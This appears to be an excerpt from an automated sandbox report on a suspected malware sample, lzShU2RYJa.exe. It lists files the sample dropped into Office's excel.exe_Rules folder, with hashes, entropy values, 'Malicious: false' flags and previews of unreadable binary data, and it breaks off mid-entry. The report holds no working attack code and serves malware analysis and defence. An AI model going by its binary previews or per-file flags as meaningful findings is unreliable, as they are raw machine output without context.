Entropy (8bit):	7.848050796988849
Encrypted:	false
SSDEEP:	24:jEsiabQzwv/6iGp1J3cmlRwOAg7Vf0WjC/d5gt6hmylx1KOJ7Y2CYRVJmz1k26VX:jSabQUv/qpbcmvwOAg72WO/UoD1Tk2dF
MD5:	1B7A751C2D51890EDDF0727F91E215B9
SHA1:	A32015F0FC5A1FB9AE01E5A97C53998882AAC605
SHA-256:	69CC0CEEA25942C0DBC9AACBE17F75FFA6C86F49EAE45DA30B108A9A7BC5726A
SHA-512:	3FC6E69E96C7B7A81CAF6BEA96F3E76B7BFE4A793D7F44556697715D95FBD064F8E90B96CAFDC684C2D2FC7B161EAB3BB34DF94E56C33A297160F36D9E50D398
Malicious:	false
Preview:	<?xmlY.8.4C.M.N...L..(}Ga=vc. .]..[:..c..Gi.....8.....Zj..).O........j9..e...Bw..2.....O....."...0...;.+.b1.......v.w.....+..j.o.5..%.BQY9.s..~9.-?..`.,..Ee....OP..tN.->..j......!R..%.P...f.....F..i...e.{T.(J.."&.......B=?./..LS}...).Q.....Cu.(.....h.o..m:1..44.\...M..\|.......,..P...C^.....C...y....jv&....y..)...7Q.O...... V....).._.0./......!HO...X.sxo 5......)$.UrC.........W.\)u.,K.........p.aDcM...~3..dS"r.s...'9.~..... ..I...Z/..NR.VX.."..K.}J..dz.=....].0....n.}.9k.@....*..(.....CJ,.k(.\|.\|..[.n.0..S....E...Gu.}.....s....k+.E..4/20p...X.9.+.I_..M.A(.>.,..p)....h...b..."!....".....d!.3....Gm.......f..e...J....Wx...B^./........S.K..a..J&....K.-?o...1..wcN....6..z5....=..R.e..8...9....Xx..NQ..7..5..e.. .....@...HK.PS^ ~.\mG.p...!4[8..r...BoV.n..}ES....Z........\|.....i.o.y....(..@#.Y.K4...o.$\j....K.%..>./.;+.6..#.....l..!..o..`..r.G%...V...:?Jv..g.........rc.l....n.kb.0..vA.,.<.Ai&>......1$......<^..m8.....h.../n..=.Z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.978103589309957
Encrypted:	false
SSDEEP:	192:25+ylfA3IsShoHfZ03BN1CfR5UOYr/nkJyOjZP7pCXt2Y:mvk3SiHfO3BCfRSO4/sZP70XMY
MD5:	B52850F06F81CF25BA23451920249382
SHA1:	30A18EB5493D441D9B0795C3A6292C68F26532C2
SHA-256:	E7701C2CF728BC8F51F535DA4AB9E8826153F9DA26DCA3289536ADAD05BA76C4
SHA-512:	5A6ACCC1D1BE5F9B4A5E7A4044DEF6AB3815A8ED2474E7FA56CAE48BC6A0617A3281AED620D40C59E1E03896567741898AAAB8CCCA9496D848837ADFFB4C6424
Malicious:	false
Preview:	<?xml:,.B....>.r....,{.O.ul..q..:.D..A6?.r.......5j...(.\|2Y.0.4..5}........;z.r...~o....BU.$u..@..A.N.uo......$...3.....:)$.&o...Uld.2.U..\o.$.6..".q>r..n.Z5...df..M+Ql.{u.3..&.wc3.].....,..;B9U.o!tQ.W..Bn?X..........y%........$e..Z.h....<O..U+._..z.R...Q~....P..8.JCn............C...!N....R...;../_..!..?.=.l.-b.}g.J.;$/.~...&...7?.Z.wh..4>?....$v.O...-..n..K.;.i.Y.....B...m;......H.#....W.T..}Z46..V.Q\...T...l...UA6......S..9..~ &6...+j..J:.K{.4.....a.O....)....W(.wP.....W.......6..O..}m.}.b.PW.g.a.D(,kT#......<z..D.vS...(.D#..P..(..'.0.<......0S..\|;#$...u.....eIC...)...K.........Q..'.2....z...L.].......__....~...tY...~0.UJ.S..6>.&R.....x..(e...jy..;.....i.e....;..jY@....e...e.......t..T..'.w.1=..48q..Z....x.....\|1......^.#T.,.c..j..l.V...n...<b.....bH.......Dx.fq.....8.$X.Y...\|......X...V...DS..^.@K..7..b...M.N.e...a2H........2..3........._.&..j.../....UE/^...Lu..ya..^.y..p.<!.wLm..Pn.....t........*...Yo.vki...t.#...j?..;Q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.715639975774767
Encrypted:	false
SSDEEP:	24:Ayqqr1Z0gRevhI/6D4456DibTP1JIvnn7cVbD:AyqgZ0ZyAuDUjFD
MD5:	4DBCC9C19BE9B826B463AF4B243E1EC5
SHA1:	65A33E71769126033BBC225946D7828416984ACE
SHA-256:	A1471668586AF6BF2950856841AD1546D6A24FD5907AF3B8A757D2BDF0DC34E9
SHA-512:	9ABFED8EC07BF80D1EF2EDFD1FDE4F678E5788343C0D3F78D561C65A9CDAABB06290A1E2D92CB7095A5FB142ACA8251D214728AFE8AFBCF26568BC4EE9739CE3
Malicious:	false
Preview:	<?xml}.\..S.b..u...'.lp...z..._..t.F...B.?O.LM.W..b......HA{.....Zg..#.Vz..H.cT..X;..........P..gua....!{....?..R\......{jD.Y..t....D..L6.3.._.ws..z.K.`..;I.B.J.\|.a....y......m...#....4E...K.~M..s...E..........!I.......IHs7..x.'..vL....z;]...V....0...N..".j.....z.3).J.....c.I...u..._...Rk\|.'.e.\...:}.U.t.....9./.U[.\|..z..>..J6..."...\5..dUom...K5....S.9.,`b;=@.9..q0..-.[..~X!j...5....G..... ..W....#c.a...y........... 6cw{.PD..#A....7...p..#..=....~..e...FV3..IS.Tb}J-...0.......=....I7.c'.b.....+..%...._...k.kF...V..#.O.....G.[Ll..T.....aY..S^S..!.W...#..h..p.ky..9.g.B...8TU..P.6..h:S...m3.^.tY...9..1M\|e..hs\|m..)....+}_........f..4d_,..-?N.....O.1...#. .2be..t..{.....H[.D....Ex4\|o.."@...a.......k.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.921976268119972
Encrypted:	false
SSDEEP:	48:v7HKtu2sau1cVCADxFLgwbnj5ENGi/CaWxyTpyaLpmbuCapNFD:DHQuO+8fLOQxylLAuJ9
MD5:	92D800BEB70A0010B32DF26BDC3906D0
SHA1:	129237D713168827FCA0DA71B2A39E5785146B19
SHA-256:	2DACDBF82925514272AC58B68C4EA5515AB2D154E4D6599BC6EE01C51493C5D7
SHA-512:	FF8450DA247F476AB9EF36CE1127D4DC5E0A4F14B0343B0688EB4BB5FE3F6192FBF5D62504A478777A1748C8F7F99AC02A2DACD0532A7F8D316128753AE6C8F8
Malicious:	false
Preview:	<?xml..rl..5QD........V......L.O.k.q..X...6.<.....S9."\s.I.q...K...?g......!?...$...2.P....1....b....BG.e....vR.Z..7+0.....o.L.,.0..L....~..C.O..-...............vv.a.d;5k.R.r.....9.v[...Q....?..G...f.]....LW}PM7..;.[p....s..jZ...4... /.ca^..(..o....C....-.w......s....h....x.....7.k...V....\_......^L.Us...m[.i.;....+t.A.h.HF...X.t_Bt`..s.qi.1.x ...{.i..Iu..z.;x....C..>......_..N..H.X=....T6.M.............2.a.#...H.$9".N..x.oy..7n....+..d.....UD..X.@X...u......3...L..<M.....<.Y.. .1..r.IA.......$..(&E.._._{.M..y.1....BL.HX....J'Z.?.d.TY..f..._.TD.A-....bfG........!....L#..H';......K.R.7....n...%.tSEI~sM....WQ.'.fq....F..~....t..2..q.....k&...B.... .......^.+F.H....5B..^<z.e......)Oc....2..........n...d...3...w....GK..E.z.7.....dS.qf......hN...I.I....-.u..e.$..0.'.S.p............@E.r_..h.9.d.....?.....B.K./...U...?..:..0..n.nM.........4.8.I_Og{+n\JJ.,....3.....8@.0....!.w.C....y}.k.c,.....TD..4..b.h.Y..esYeV+..S.9...BR.....{eq.~ql-T...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11210v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.8542336979677865
Encrypted:	false
SSDEEP:	24:yi1GbgkN24KH2CHGhYg+mblCyHn7pwrv89DelnHDxiQBXc8dqCs6WNC45R08VbD:yi1UJcPH2CmT3HtiviDeTBXc+qC9WAyn
MD5:	2763906DBF03B72B5ACB1F19DE55389D
SHA1:	3577D8AF10A6F4D0F696DA922AEB708B4AF1F5C3
SHA-256:	1036F3C6F60018961E599BFF228C050CC573837332E95B8C01EB54D581EC4384
SHA-512:	F86317FFCE1CFEB4CB2BF83E4114C209D866B69D7816AD77A996EF34861C9C98B9128E2F9A5FC184D88E0424098A61BA1A25670D7AADCBB0178ECC13DBBC95F3
Malicious:	false
Preview:	<?xml...L..G.E..V..b.....S.w+~.&o....,]..=P..=..M<..%!.9>>.....i.wr.5..<;.I.\|....zxR\.,.k..A.7<......h}....5 .........e..1....(.#RrlF.....P...bd...hCX.po1..?....h.`........_,=...v..z.qDe.!Y...z.\~MQM.....f....z..h....''..-Q#...P.m..TL.l...\QQzT..{... h..+F......i.....O.Q6..a..)....e...lEE.S....H"$."...%.........=..w...d..Xxcp4......#ba.....0.8.n...ZO.R....'...T.`....&...&'..g.H.<.d......]d.e}.....O.ZK.,.@.....@......-.,6.......y=\|..G.:.?.E...C.^...Z.gg....../.K....2.{...Q)&..j.'!q.......CP.a.8YB\|.3mb...)i...5rJ..w..T.p...o.(..]p.d..#.....bX...........z.(.7_....J.twlF>/.%..F...7.........V.r.....'>1..OJ...US.G..;..=..D..C..~.b[3^y..-.h..?j^...J.-.....6.k.7.H,hVxAl.........T5.i.n.T.kJ.m....V...K.&F?..[..`x......&nU!...(.....u..q.}.!..L.....L....:..2..P......>..+.c..l10..<Y..1.O..L2...E4uCU....a@..-...v..a.....f.*..F.9..c."...........d.~.]1.<..Q...N..c..1.,..........2y.9....+......\O..\|G{.zC...5..zD......t....f.`01Ds../..D........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11264v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.933007861424056
Encrypted:	false
SSDEEP:	96:vboB76O+i+2G+JZlRWUOjqrM+Zp9d8ViusN9:vUJ6Xi+bCRWUOjqrM+5SUua
MD5:	45F31E64373EBD3560F8F8F587952FF1
SHA1:	91787F5B8F26C4972354CF7EDADF9631E850F623
SHA-256:	21883A19805E1B9BBB6B40481D2060AF6BA66AC1C2A828CAA4B85530EEA7B118
SHA-512:	6570BC086BFC82E87F3924F675AFC6CE10F94E3642C7D1882D84CB7619E2216397015B98915CF15BA60A3C8DF6525AA0982BD4D1CDE27014D17B1B4D2588AD1E
Malicious:	false
Preview:	<?xml..U.J..M.8... .....S....6p.Dpe.....^.E#.B,<.P!?..n&=....>\&.\|.+.[2.'.2..a.i...ybw@...EK.... .6.S...x....+..b-2..i...#.I].G3..h...b.1.h.lTd..P.....5...U.....%U..v.......&I..z........./r.Ida..'...c....+.4#.7.-.`RZL.cW....1..]......Q._AH.u+..Z..Lx.35..Eg.g.......$..9\..s....].E0(S.7_Y....lQ.Z.q.m-v-.......K..@#.x.[(.R+....i............^......JB.T...{a.H.q.HO...l.&.V.h....6H=@$)..~4...%../k.R..k..y..Q.\|.u`(./...m.=...U'..h..vOdh.M..u.....E.){5r..f.p..@i..@..7..f...^...o....d(.L....7..t.......=#.J.kt\....u.....#...+..?h.b.~..bI..4.U..3.........$.qGZ.w62.....k.. ...l.Q..Ai.,./T.-.yhr.lx.....4.Q....x.....B.4..q......z.z....C..!a....K.s...e..MM.-E..I.X.W.)#.....U.m..6.?...L....h8....@.tHe....3o.i....p]..P.p'.......eUy...2P......2..:.7YZ.);HKY......>..\|...h.}.jDtx....^....}.d..._j.H...\|k.M...........w.U..8..%~.aH.E.;:.$0..DP.<.f{b.}]....5wf....7...k.H~5......8G.F...."".........5..l..T..k..fk......D.i.. V.# t..B.}(*Y/..+.&...i..>.).<hW

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11265v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.9225567252120745
Encrypted:	false
SSDEEP:	48:1CoGgLet2r4P5G9Wv2VELUIBydJrrIdFD:1Co7Ba0dcrEJrrId9
MD5:	03F34AD9AF77DF98B847384B220EA32D
SHA1:	0F07A6F40BF94835716E64329AEDC6426315791F
SHA-256:	2B8A65450215FAED38074EBC3C20639D1879169F1EF0FF933837F77C31BED3C7
SHA-512:	F4996DAE51BE86EF415E0559DF56DD531D59C91FA492D37D10099D298F252FC8846C3388E0F3D5993C6D715DC168F5B1ED0A0830CFE22C51496183B0F969D1B5
Malicious:	false
Preview:	<?xmlOD.p............dU.o.a......X...aE.q.=..J.3.M........m.>._....NU6.q^.?./.....)&M...\|.7.........J....e.......'M....E.7.......`....f..J$.._..}\|....?.%...{.....o....$!.....l......m]2/......l^R.......6};h<..<.....L..p.y.>..Yg..)^........ b..3.(G..$....$9K.o.5X..V$\|n..![Z.gd..aZf....z.1.Q...G........r..t6.0....,?.k..aXU..^$p....T.o.V1h(.`._.l9.R.....L.ZXW...E.!8...WoS.'.......N730.....G.(.s..aS..+..e.Y..t....:....?.!.."MQ...U..N,..B.C.F`.,C.M5....h\|c...p..,....{Lk.....pP4...5D....<bp. '.M...Qqk.r..1....d..$...(-DO.{........j.v...G...J......<b.J......q..S......A.T...Hw.o.."....<...=..T..n....n...j........v..x.Yl..m.sy..7...q..p.e...#D...._.!?....lI...Z.S..n&.c.1._!G>.f.G....D...W..f0....u/c.Y.....z.Z.M.5...IB,..../.=..hv.[..T.......j...^.t.-5X.......92.";.5\.\|{..`...7R',..[..n..W"...t;..#..D..F.......-.-X.(...W1..kk.....*. ..j1.@.X...hv...k{...w....g.....^...N.E..4.xH.~.%G,Z.v.760..P{.k,!s.pL.....a.......P.>...F.v./.8..f.g..-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11285v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.974653825893867
Encrypted:	false
SSDEEP:	192:OlAcbc9awjFyFEGudbprHSshKd6M3tPSJkMq:MAc4aGyFSdN3h83EkMq
MD5:	1037753E035BC9573B5FD9DD6E5A2AFD
SHA1:	D078BA17D0E63CCB79EC1FEB4F073A807C6A9280
SHA-256:	EC85DA2D4B7EB0712824F90B4BC3090822035C62E90BF77D6962A14B77582CCF
SHA-512:	06CCB22E984E63F551C076B49B2253D7CA20878EFE5F6F213C123D17B92974A456D07C49C450A88BD75BFAD9622CBCE1DC77AB0492EA0A249EF35981089007D3
Malicious:	false
Preview:	<?xml[.O..P....C0e.2a...D......(:?...<(..&...p.?....m5/...I.F...S...pXg.p8@]....[....&./.y..Bn.......Xib..C.R....0...t..6.&....K9.4.K.z..>.U(..c.VU.}..uElJ..GuD.4.0......f.......D.o..C`..G.bvM......l...@..Ffq..8..J._...uOp...M...}..3.2.r..kK..x1..&7N...Z..x7...9...%.'A..E...q5...x......(.V...c Q".".c.....d...Lya. 2Adi...,.&v...E....3\.?..va../...".8+.B...........41...s.R.HF........^`G7..%&.....+.D"<....8<.6..hL...Ah.....M...Y=.A=...v.p...F'...^..@=:,.......J.......Ec..aL.\|...5...U..66."9..C......d5..4/.4...53.7..:#..o...F.[.....!x+.Q..g....=L..KJ..p.....)8..P.-v.{....1.Mr......K.R../..f.d%.d...\\|}.#..=s.A\.....`.>7.....0.....].@6.f..\|x2..\.g..d.....By.....+[w.H.8J&....<.....i.".~W.~...\|.....6f...?.4....V..J..K..........Vf.".:]p7.1.U../.....8..cf:.n.{.44[.^...."W............H.=......C..[AW....:.4.D..%.y[R.M".........._j.E..<...<t......+....t.<+..6...4e..".8.6Gx".......z>.m..].F.....`..d$U..(Q......f..%R..+.:...S.[\..P^....$..o}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.954444566704079
Encrypted:	false
SSDEEP:	96:5J6Vem9qYdpt1AQ7+SQypKH6FmGF198Xswqnidr10BI1k89:2frHAQ7+SkH6QI198/WVE
MD5:	0C37F511B0DFC44226F4CC2D2CF1AFEE
SHA1:	D020C35EA0123C5772DCEC542A559FC081F9FA23
SHA-256:	AE02C132990ED3ED4E27FADFDCB1302A53664C03E1F1C749347E00685318FC64
SHA-512:	08C34D903176F5069E395685F1C07A41783048E600E518E7C774AB9C42A39E3295435D4181C28391B9350B4318094DEC24F6032598E67287862E915FB5D3C8D5
Malicious:	false
Preview:	<?xml..$.....oI.....I..9.2...1\...#..!o.J..Mb...~....8.....Km..n.9.K..Xh.....\|.j).......Lq...Z..~..3).l..z.:.-....X.....Q.>..V.........b....?..P....qxUSF.^%...=......\|.......^r..)~z`..G\|.j..b{...Po...uR....Y>...E{j[_v......qm}..\x.t.'.U0.X#..#40.4.^V.......E^@.h......Lv.H-w.n+.t+..V/)..Q....2%...........3ZX\-C.[...!..GE.i..jt@N(.w...\|.u.h[...../.`......u.E.:..X........3+.e..Y....k......?..W.b.'..>...'%R&..D..f...3:.ZU..!.o....l.}....\|q.....m.8....s.+.....P....Y.......#.5.....P8.....R.d..J.Q^D15..A.R{P..@.%...`.u.H.v.7..VQs...N..S.-.X.%.;.M&.L2bO_..f...H..,.C.&..4.a.=.r.X...X..K..e@k....4.Na.).z.....k.%0..K.v3@...3..M..<......Z_.."...../..f.7....;X.........8....I... tv.#+.(.I..D.I.C......:..L1.o...A..Cy!..A....\|.#.>l..3Z.!u...m..5..@...s........)...\.V..(..R..p..5In..l..-.#.qJ.6.......V ..#...........yZ..s.=....}.jA....7..s...3......:...m...MV....=......_C..".i..I.T..e.6.13p.$\|,X...}......f.$......w........A.JX..N..M.+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.9575041524250425
Encrypted:	false
SSDEEP:	96:DzxxTuBxKlLSzbDkoqrajhJL0u6QVVvEoF11cvOEHCzq2iBY/o9:PTuBxU+3AraXL0u6SvjjOHHJZ
MD5:	751D2385F2240E772B75F10917853147
SHA1:	A6A7A9C0A23DF6A5F6D58FCA4A2BB97A35AFFA43
SHA-256:	A737FBB5A96A2522039D1ED8C92407F1D3A7FF54C5113DD4C0797328E0915C0B
SHA-512:	EA5306BBB34A00F96D229EA6FABC5545C64FB159C8BC9BE440A260B53AFD5E723BE0CD90EF3E285C658F94F142DACD5FA9863C2A3654E810FF82EA683B14B953
Malicious:	false
Preview:	<?xml...i..rl....x.`.Pip...1'.C......q...=E0.:..<..P+}a)......4....4.k..Q.J..]..1.....l,#+.&.f.L{...@%@H.<.'iL.%.kny\|.....`4........aM../.....~b.E..........o...F=.aD........C6.x#.S.P.I6....}...d.xL7..8.^\.(F.b/n...x.c.i.N0G.:.CUH!.nU.\|o8.V.1..&..h..,#..P.m.\.cJT.....+.y...l.f..MR..=.(R.-...9....^..v.I#.....\0.Q...xU..^.....>&p...s...dM...g.?..by../.kf.[..c/../I........R....V:...\|..w.......1[8..j.59....u=\...+...P6M...u.. ..RsSb,..).LP@;.31......TF..2g._..Te.kB.2.._....&-..L.G.P...h.. ......4..I.O.V.1.....B...........Z. %A..HB..u...q......<.Ln...e.A.....0.Vo\.I2.Q..._t......L\Q.........j9{...w.....4..qY.......8R.. @-..Y+.;Z){...n.-\..m...5.P9......{..$.y....vf.}CI6E.......g..7..;(l7.l..3.....\....U..q......n...I.s...>.`../`...._F..9o..i.zz...b.......iF..~...U...UW0.....t.$5i.E.)^v...Q.^...#a.zMx......:.Vtd!.]E.U...X$.?.`.[..W..=.\..G/n...].eDA..f.........30..1.l..hD.*Xv.lzc..../....)..mS.&..$.......#..L.r.8{......V.".W...2..?.VJ..DO=..q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.936198734115216
Encrypted:	false
SSDEEP:	48:ePaxPNyEfPyQcx6S/urSAvYGlO9TV9IUFMeUCW1sVIxJbVZcNHFmgsQA7SdusP+z:e6kIcxFULwGlO9TL5MNCW1smxap4jBK4
MD5:	67621717D5BBF3958428CEBC73B04751
SHA1:	4920C463E43664A87F7204058CE901ED84ECEB35
SHA-256:	C78C88D2C321EDA6E8C23F4E9D0C10FB20C56A07EEE233F5B13B5A62DEA9A525
SHA-512:	E70FBA10365AF6742E41BFD8BBC50FC8F7ABAA97231B8AAAE5C6E5C21169FD1F8AA3609EE91DFF3B93920BF0B7D6C854F9F6C335892CE58B401CF94A9A5835B6
Malicious:	false
Preview:	<?xmly.hQJDQg.1.....\K........#......4z.._......FV_..H5......{:q8...d.\|....R..{.....c8X...v.A.q.X..M..E\A.....s..JtS..B........b.....I&..H..)'......D]r.....,3}...HM....?...O......E.R..9...0...!.m.k.n).1.......k.:.z+...u`\|.mQq.... ....1. .....M. ....6.....\7.P....#.Z.l.v.@.M....2s.}.Qa.K..UY0[....9E...Q.....H9U$P/i...X...T.A...z.}m.2......k.._]..T6"cC{.W..;....G...4.....)....WAK..~[.O.t.._..p..<t.q.*7..]...^...Y..ob..!C4.....h./7.D...h...t..i%.S..,Z.e..0.0vn.`Q..../~.}{..{.@.......R..,.b.?...NpV.HYD47.lO.Y;..[.X.9.\...........Z.c......d2\-&...@I.Bd/7\..0.{...P./fX.@#.@..!..QG..).. vrH.}..5i0RS.=n).....].^.s..<.v.#........z.N"...J}.8...+]f..r.\l.96w..k^ZmV{..N_O.......\...L..\`.p...D..AB.Of....<hW..-..l.{Ipb.1./.#....l..]d..(i.<.v....~6.{e.s...m....6.#.oN.s..u9r.G.Fu.`.7...O.....].... HK.4.:.....1..T..>..v-.Kr..ZD...!..!{..w[2...`.i.a".I%P.Pw...m........{.+./.E:....Q..h.VtY.n.....8IT.\|GtvNk..\|......}k.84\|.D.k..L.r..c..-..5..)S.+.........v

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.965038127616345
Encrypted:	false
SSDEEP:	96:0CRY0FBC2GhcSOwq/tMM3qUzLr4sf/I9KBMQfmdeC+g/wc5MVTIHJfazpq5q/wcN:w4BC1h/Oh1Mu3Lr4s49oMPig/55MV8H0
MD5:	21E4DD26D6C43BDA4C893669C8A22205
SHA1:	64FA2B1D7C1D34E2C704A2237E70F6AD61DD6126
SHA-256:	DD9AA2D3617AB298BE5B32C8D6DB86807362D3C122175DEA619E92254BA8D661
SHA-512:	FDA6AB8AA0D9BFA247F635D18F81A092549801736C43547166B47763582EB67F06AB3AC8BF743F89B6FA37A8FEF3BE3E503E4F83BF9B938A6C35C81942210BB6
Malicious:	false
Preview:	<?xml...<.B.3?../pI.Bu..2.a...._......w....p...~.T.@.+.N....&...<._.t...`.e.....Zl..@...k.1.../V..[....Y...1.1.........Mn$.....q.V..h.+..K.".......>...z..wvr......KM3/mO5c.$.L....~Y.g`.?...xnCu>.m...9J......WW......+.g..{.L..B........H[..'..\|..EF.f..f.?...\.n.../w>..;+MF..0..h4....9..'.2l.....,...}.r!......Z.o.......V k....}~.=..tLVU.]B...L...~.5..........xl]i.o......7d...{....l.No/.{WO7.6..p.,]..>x..<^...N..P.7L=..e..0.e'.z..&......zdl2.b,.....H.k7..}.\|8O~....G..L...%&..=.6....D..mR.;.)...4.x...?TN.>...~.IK..z.....U...R.u4,.......G..@........D..j:6.kV&run..F....Z..-iF^.z.}..H..w....X^."..5..i.YM.i...q....p..y..4.5...]...+..8e..%...8,_{dW.-ftz.z.L.....f:....CpUMt..Y4....Z..-bsE.:....._.G....?.....Lk.....V..`^....-c....s1..<..........h}\|.O.+&....Vw=j...A7.%....!....p..z..H!JW.1Q.....f..s.....?F.."....uy..h.{$.h..i..!M...X.'4. .....39~$.!...H....\..9....?l.~7..gJ\(^..P.......r.<..N..A..m.P.a].$.X..~.HR.....e.&2..J..@$..1"..{..r.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11369v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.894965361657318
Encrypted:	false
SSDEEP:	24:XBGhzqukYZIrhRo4ZUbkmMyv9CO3Jk/OVWvoMvxEXd6ot3PvIHeCwH5+XdhJEgMl:X8pVkYZq3AvtC6XXd6ot4HelH5CUF/FD
MD5:	8DABB485721014306D954CD484841BC3
SHA1:	0AF2960ABE3F78DB4CD00B8089056AF1B6BEB307
SHA-256:	661001A8A6ACCB41F3B81665027B7044C0081AFB9E3BA8FD811B5268C2D744C8
SHA-512:	15FFDA182038D336509B8C9FF98709BAB2EB8EAA39BF95D06FA020B2231CF74C109A42276820A6AC423CAB074515005A5B2B8FAE12C5527ED23CC4E5CE7872B3
Malicious:	false
Preview:	<?xml..q.=H.".....6...R..t..K...UN.=!.&Y.._....h...."......w.....*.4....l..F..0.E6T.... 9T8.`.J`....t.tc...+.....&lM.......}0..&.C.3.D. .e...}.....+.o...(.^....K.../.r..U=.paN?S..h..bi8)>.%.7.h0I........N.<Ph...F.D..p..p..Y..B.7....#.BF(.Mbg;x..oqbd3.}..q^.....3.].....0a.3$...U.......GT\.94qMA.>....ll.....:.si..<A...k..<M.\|#....K..P.\|.R...J.J ..>........&.tR p..J`........i.-.XA.....}.zf.Ii9F...c.M~1.Fq.v....~.O.....G..<u5^.-...).$;I...B+........h.q..rO....,!K....,...2.u.....P...ra....K..w6Yo.G.da...~.B..E(>....>$.R>.N...M 8wJ_.e"....p<g.. .......&9.2...P.g_.......~P.T...{...X....?..s...\|..uP@nY...n.Vg3....f}...6Eik..)p...p.".,`..HN.u...w\..#.E.&.....DCW...,?......o...S%D?....H.........8...W.....W...zM..OY<.&h..,.opq.#aO..G.6.1Kx...1;..Yve...N..{..[K.+.....m....<. f....e!o(%<.Xf.Q...jbq$.I..hd.oV.._5..o..O.j.R.H...:,.....?^=T...H"..'rV.`.G{.\h.w..V.R.R...s-.....R..E@..D...8.8........{>.....h.......#.;I......j....I.=Y...."...:r...O;vU.H.J.\(..jU..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11370v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.7653513521466495
Encrypted:	false
SSDEEP:	24:hQbfWnfx+Kid8hBTiw9dyo8UGsWGyYHMKMNGluVbD:hqfyf41dwBTiwGt+By8oNQuFD
MD5:	A631A00916F9F2F0DB07E07FCA863DB0
SHA1:	7B1FC7CC3BD663E5D017093E5989659E8C288073
SHA-256:	25AB29B24EC04B234255C1E18AADCE1580458D0AADC3C2185CC3DA00BDECF8CD
SHA-512:	607F626FD9575F59F41996426841AF043EFA4895D3CA28625EA668DF6E537E67F351F898B8FF2D449315F70A8256385F6ED86F0931B4B7D901AF43A296647C95
Malicious:	false
Preview:	<?xml..-...\.q..~~<.i..w..x...;m.5..v8c.0...y..8.6t.......e..V...\..S..J4h;..:-...2Q_.>....}Q.:Ss..V.n.ja..#@1.9.]\.\|.e}M..o..].D_!...^e.....<.`....-w.(..q..z.h.?.L...d8(z...>.R..4...U\Ij...-.....S.JP.M..hS..k.<.JU.H<v+..@3............z..n.e.B.Ld8.Ma.M........bg..J(:f.#..r.....A.&a.T9...{.X.t.0'..K..y....^....d..+W..7..^.........9....~dbdVH.h`...z.y.U.L..9....m.o. .W.........N....V.j.W.-........6f(........E...8..q......w0.4....t_x.V..q.V.@.\wsG..t.K...qw..i.K.M....6PEc..D...I...~..X.[.^...,Jr..-...ijn+(....L...W.zL....df..r%.#.....=.....p#z%A...`3%d........wp.lt...l7K...h........E=i...w:.8.}M....J.....@0.X.m....k..Rdh..K..".....=.\...\|e...~.".......6Hk;.D.Wl.&...P...........u..D../.p..<.,.AG.X...T.<.S.2..HVI...nq{....xG........R....\....u....#......W.....q...a(.f.2M..&pl... 6.X..p..D.\|E...b.....!....9.s_...S...Xm...?..>*.-....r.....`b]..uw../...r..uf.J.R>1]f...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.9269098198972054
Encrypted:	false
SSDEEP:	48:BSdKm0LZ1pWAegN0ryddG/HRi2M3Tc3nhVoWgwh6kKFQCbi6iTK0dBT4Q6DGm4sH:A5K8ABNW/HRwTCnDTjh9K5biLdBTMD6w
MD5:	3CE342A6D15D6DE5A8B0004AE74DAE9E
SHA1:	43877CA84FFE92BFA148F9A66A6955D9041ECC00
